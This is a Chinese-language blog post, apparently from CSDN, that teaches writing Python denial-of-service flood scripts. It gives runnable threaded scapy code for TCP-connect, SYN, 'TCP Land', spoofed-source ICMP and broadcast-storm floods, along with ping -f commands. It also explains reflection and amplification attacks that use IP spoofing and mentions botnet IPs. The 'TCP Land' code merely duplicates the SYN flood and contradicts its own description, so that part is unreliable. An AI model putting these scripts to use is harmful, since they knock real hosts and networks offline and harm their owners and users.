python攻击脚本开发之常用泛洪攻击

常用泛洪攻击

一、什么是泛洪

泛洪基本原理:

基于协议,完成大流量高并发操作,导致目标主机各类资源消耗过多而无法提供正常服务,基于多线程或多进程进行泛洪。(MAC地址泛洪,ARP泛洪欺骗)

泛洪所需基本条件:

  • 攻击端与目标主机之间能够正常通信
  • 目标主机没有配置很好地防御措施

泛洪之前,我们先引入所需要使用到的库

import random
import socket,threading
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send

二、使用socket三次握手泛洪

# 基于TCP三次链接实施泛洪
def socket_flood():
    while True:
        s = socket.socket()
        s.connect(('192.168.230.147',3306))
        
if __name__ == '__main__':
    for i in range(400):
        t = threading.Thread(target=socket_flood)
        t.start()

这个的原理我就不解释了

三、使用scapy半链接泛洪

# scapy 半连接泛洪
def scapy_flood():
    while True:
        random_sport = random.randint(20000,30000)
        pkg = IP(dst='192.168.230.147')/TCP(sport=random_sport,dport=3306,flags='S')
        send(pkg,verbose=False)
        
if __name__ == '__main__':
    for i in range(400):
        t = threading.Thread(target=scapy_flood)
        t.start()

发送SYN数据包即可,但是scapy一般默认使用20号端口,因此我们最好使用随机端口,以便防止无法实现防洪的目的。(因为端口固定之后有可能出现一个端口只能进行一次TCP建立的情况)

四、使用TCP Land泛洪

# TCP Land泛洪
def TCP_Land():
    while True:
        random_sport = random.randint(20000,30000)
        pkg = IP(dst='192.168.230.147')/TCP(sport=random_sport,dport=3306,flags='S')
        send(pkg,verbose=False)
        
if __name__ == '__main__':
    for i in range(400):
        t = threading.Thread(target=TCP_Land)
        t.start()

TCP Land的原理是数据包发送的源地址和目的地址都是本机

在进行TCP Land的泛洪过程中我们可以使用 tcpdump -i ens32 tcp 实时查看本机该网卡上的tcp流量。(该命令建议直接在虚拟机中运行,而不要使用XShell等工具中使用,因为其中的ssh就会一直被判定属于TCP协议簇的协议,因此会一直闪)

反射型攻击:基于网络协议的反射型攻击是一种利用网络协议的特性进行的攻击方式。在这种攻击中,攻击者不是直接向被攻击主机发送请求,而是将请求发送到一个“反射器”,例如一个开放的DNS服务器、NTP(Network Time Protocol)服务器等。这些反射器会将请求广播给被攻击主机,从而制造出大量的虚假请求。

**由于被攻击主机需要处理这些请求,因此会消耗其大量的资源,导致无法响应其他用户的请求。**这种攻击方式利用了网络协议的一些缺陷或漏洞,如某些协议对源IP不进行认证,使得攻击者能够伪造被攻击者的IP地址进行攻击。

同时,为了达到更好的攻击效果,黑客一般会选择具有放大效果的协议服务进行攻击,利用IP欺骗进行反射和放大,从而达到“四两拨千斤”的效果。

例如:

张三要攻击李四,张三构造数据包的源IP地址为王五的IP地址,然后目的ip为里斯的IP,那么这样就是王五与李四的ip一直在进行通信,没有本机ip的参与,而且还可以实现泛洪的目的

我的目的是ping主机A,但是我现在去ping B,C,D,E,F,G ,但是ping的源ip地址都设为主机A的地址

但是我们要知道,这些都只是伪装了一下ip,只要认真查很容易都可以查出来

五、使用ICMP泛洪

# ICMP泛洪
def ICMP_Flood(targetip):
    while True:
        payload = 'nihaosao' * 50
        pkg = IP(src='192.168.230.147',dst=targetip)/ICMP()/payload * 50   # 一次性发50个数据包
        send(pkg,verbose=False)

这个其实我伪造了icmp的源ip地址,但依然不影响攻击效果

六、ICMP广播风暴

# ICMP 广播风暴
def ICMP_Broadcast():
    # 甚至我还可以准备一个ip字典,这些ip都是我的肉鸡ip,
    while True:
        ip_list = ['192.168.230.147','192.168.230.147','192.168.230.147','192.168.230.147']
        ip = random.choice(ip_list)
        payload = 'nihaosao' * 50
        pkg = IP(src=ip,dst='192.168.230.255')/ICMP()/payload * 50   # 一次性发50个数据包
        send(pkg,verbose=False)

直接发给局域网的广播地址,那么同一个网段的主机都会接收到发给该广播地址的数据包

七、使用ping命令泛洪

ping用来泛洪的命令大多都在linux系统上

设置数据包大小,比如2000B(byte)字节

-s <size> use <size> as number of data bytes to be sent

设置每个数据包之间的时间间隔

-i <interval> seconds between sending each packet

设置icmp数据包的源ip地址

ping -i 0.001 -s 2000

或者直接使用 -f (fast)参数

ping -f 192.168.230.147

八、Kali工具

image-20240519180935994

image-20240519180953415

image-20240519181007464

wrk的安装和使用

Linux下性能测试工具 wrk 安装与使用_wrk-master 离线安装-CSDN博客

如果已经装了make工具和gcc可以直接安装wrk

-t 需要模拟的线程数
-c 需要模拟的连接数
–timeout 超时的时间
-d 测试的持续时间

Latency:响应时间
Req/Sec:每个线程每秒钟的完成的请求数
Avg:平均
Max:最大
Stdev:标准差
+/- Stdev: 正负一个标准差占比 标准差如果太大说明样本本身离散程度比较高. 有可能系统性能波动很大.
  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值